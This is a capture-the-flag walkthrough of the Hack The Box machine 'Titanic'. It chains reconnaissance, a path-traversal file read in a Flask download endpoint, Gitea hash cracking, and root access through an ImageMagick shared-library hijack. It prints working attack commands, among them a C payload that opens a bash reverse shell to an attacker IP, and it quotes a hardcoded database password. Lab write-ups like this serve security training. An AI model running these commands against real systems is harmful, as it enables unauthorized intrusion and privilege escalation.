Description
Titanic is an easy Linux machine that demonstrates a basic Arbitrary File Read vulnerability, Gitea hash cracking, and exploitation of a vulnerable version of ImageMagick.
Recon
nmap
Result of nmap scan:
# Nmap 7.95 scan initiated Sat Feb 22 20:10:13 2025 as: nmap -vv -p- -T4 -sSCV -oN all_tcp_scan.txt 10.10.11.55Nmap scan report for 10.10.11.55Host is up, received echo-reply ttl 63 (0.096s latency).Scanned at 2025-02-22 20:10:19 WIB for 9s
PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=| 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-title: Did not follow redirect to http://titanic.htb/|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelThere are only two open ports, 22 and 80. The output reveals a titanic.htb domain. Add the domain to the /etc/hosts file.
10.10.11.55 titanic.htb80 - TCP
Enumeration
Visiting the website will only display a static page.

Let’s fuzz the VHOST.
❯ ffuf -u http://titanic.htb/ -H "Host: FUZZ.titanic.htb" -w ~/pentesttools/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -ic -c -fw 20
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/
v2.1.0________________________________________________
:: Method : GET :: URL : http://titanic.htb/ :: Wordlist : FUZZ: /home/jergal/pentesttools/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt :: Header : Host: FUZZ.titanic.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 20________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 83ms]It found the dev subdomain. Add it to the /etc/hosts file.
dev
Enumeration
Visiting dev.titanic.htb reveals a Gitea service hosting two public repositories owned by the developer user.

The docker-config repository contains two docker-compose.yml files for the gitea and mysql services.
gitea/docker-compose.yml
version: '3'
services: gitea: image: gitea/gitea container_name: gitea ports: - '127.0.0.1:3000:3000' - '127.0.0.1:2222:22' # Optional for SSH access volumes: - /home/developer/gitea/data:/data # Replace with your path environment: - USER_UID=1000 - USER_GID=1000 restart: alwaysIt reveals the /home/developer/gitea/data path that might be useful later.
mysql/docker-compose.yml
version: '3.8'
services: mysql: image: mysql:8.0 container_name: mysql ports: - '127.0.0.1:3306:3306' environment: MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!' MYSQL_DATABASE: tickets MYSQL_USER: sql_svc MYSQL_PASSWORD: sql_password restart: alwaysIt contains a hardcoded password, but since the service is running on localhost, it isn’t useful.
The flask-app likely contains the source code for titanic.htb, since templates/index.html matches the website’s static page. After analyzing app.py for some time, I discovered an Arbitrary File Read vulnerability in the /download endpoint.
AFR
@app.route('/download', methods=['GET'])def download_ticket(): ticket = request.args.get('ticket') if not ticket: return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath): return send_file(json_filepath, as_attachment=True, download_name=ticket) else: return jsonify({"error": "Ticket not found"}), 404Because the ticket parameter isn’t sanitized or filtered, we can perform directory traversal to read arbitrary files from the filesystem. The Gitea data path is leaked, so we can get the database file from /home/developer/gitea/data/gitea/gitea.db, which is originally stored at /data/gitea/gitea.db in the container.
curl 'http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db' -o gitea.dbGitea Hash
To crack Gitea hashes, we first need to format them properly. This great article explains the process and provides a script to automate the formatting for use with Hashcat. I will only try to crack the developer user hash.
sqlite3 gitea.db "select passwd, salt from user where name = 'developer';" | gitea2hashcat.pyCrack it using hashcat with the rockyou.txt wordlist.
hashcat -m 10900 '<formatted_hash>' <path_to_rockyou>Shell as developer
User flag
The cracked password should work for accessing SSH as developer.
developer@titanic:~$ cat user.txtdeadbeefd76fdd555e5bb9444fa7fakeEnumeration
The /opt directory contains three directories.
developer@titanic:~$ ls -l /opttotal 12drwxr-xr-x 5 root developer 4096 Feb 7 10:37 appdrwx--x--x 4 root root 4096 Feb 7 10:37 containerddrwxr-xr-x 2 root root 4096 Feb 7 10:37 scriptsThe scripts directory is interesting because it contains a script file owned by root.
developer@titanic:~$ ls -l /opt/scripts/total 4-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.shdeveloper@titanic:~$ cat /opt/scripts/identify_images.shcd /opt/app/static/assets/imagestruncate -s 0 metadata.logfind /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.logThis script scans for .jpg files inside /opt/app/static/assets/images/, a directory where we have write access, and then executes /usr/bin/magick identify on each .jpg file.
developer@titanic:/tmp$ magick --versionVersion: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.orgCopyright: (C) 1999 ImageMagick Studio LLCLicense: https://imagemagick.org/script/license.phpFeatures: Cipher DPC HDRI OpenMP(4.5)Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlibCompiler: gcc (9.4)The current version of ImageMagick is 7.1.1-35 which has a security flaw: Arbitrary Code Execution in AppImage version ImageMagick.
Shell as root
Follow the Proof of Concept (PoC) from the GitHub Security to exploit the vulnerability.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF#include <stdio.h>#include <stdlib.h>#include <unistd.h>
__attribute__((constructor)) void init(){ system("bash -c 'bash -i >& /dev/tcp/10.10.xx.xx/9001 0>&1'"); exit(0);}EOFcp libxcb.so.1 /opt/app/static/assets/images/cp /opt/app/static/assets/images/home.jpg /opt/app/static/assets/images/bruh.jpgAnd wait for the script to be executed.
Root flag
root@titanic:/opt/app/static/assets/images# cat /root/root.txtcat /root/root.txtdeadbeefe33524f64e49c4ac4ad7fake

